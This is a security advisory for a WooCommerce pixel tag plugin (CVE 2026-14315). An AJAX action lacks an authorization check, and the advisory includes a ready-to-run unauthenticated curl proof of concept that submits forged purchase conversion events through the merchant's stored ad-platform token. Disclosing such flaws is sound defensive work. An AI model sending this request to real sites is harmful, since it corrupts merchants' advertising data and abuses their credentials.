Pixel Tag Manager for WooCommerce < 2.2.1 – Unauthenticated Forged Conversion Event Submission | CVE 2026-14315

Description

The plugin does not perform an authorization check on one of its AJAX actions, allowing unauthenticated users to submit forged e-commerce conversion events to the site's configured server-side advertising conversion APIs using the site's stored credentials.

Proof of Concept

Prerequisite (realistic admin action): the merchant has configured a server-side Conversion API for at least one platform (Facebook / TikTok / Pinterest) in the plugin settings (a pixel id + access token, enabled).

Unauthenticated request:
curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=pmw_process_conversion_events' \
  -d 'order_id=1' \
  -d 'event_id=FORGED-EVENT-0001' \
  -d 'total=9999.99' \
  -d 'currency=EUR' \
  --data-urlencode 'items=[{"id":"SKU-FAKE","quantity":50,"price":199.99}]' \
  --data-urlencode 'platforms={"facebook":1}'

Expected: the handler accepts the unauthenticated call (HTTP 200, success) and forwards a forged "Purchase" event carrying the attacker-supplied value / event_id / items to the configured platform's Conversion API using the merchant's stored server-side access token.